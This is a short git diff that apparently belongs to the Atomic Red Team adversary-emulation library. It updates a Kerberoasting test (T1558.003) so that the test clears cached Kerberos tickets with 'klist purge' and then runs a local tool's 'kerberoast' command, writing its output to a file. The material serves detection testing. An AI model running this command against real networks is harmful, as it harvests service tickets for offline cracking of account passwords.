diff --git a/atomics/Indexes/index.yaml b/atomics/Indexes/index.yaml index 4e80f849..2078a025 100644 --- a/atomics/Indexes/index.yaml +++ b/atomics/Indexes/index.yaml @@ -2705,10 +2705,9 @@ credential-access: ' executor: - command: 'cmd.exe /c "#{local_folder}\#{local_executable}" kerberoast #{flags} - /outfile:"#{local_folder}\#{out_file}" - -' + command: | + klist purge + cmd.exe /c "#{local_folder}\#{local_executable}" kerberoast #{flags} /outfile:"#{local_folder}\#{out_file}" cleanup_command: 'Remove-Item #{local_folder}\#{out_file} -ErrorAction Ignore ' diff --git a/atomics/T1558.003/T1558.003.md b/atomics/T1558.003/T1558.003.md index f8f17627..a160ea8c 100644 --- a/atomics/T1558.003/T1558.003.md +++ b/atomics/T1558.003/T1558.003.md @@ -99,6 +99,7 @@ This build targets .NET 4.5. If targeting a different version you will need to ```powershell +klist purge cmd.exe /c "#{local_folder}\#{local_executable}" kerberoast #{flags} /outfile:"#{local_folder}\#{out_file}" ```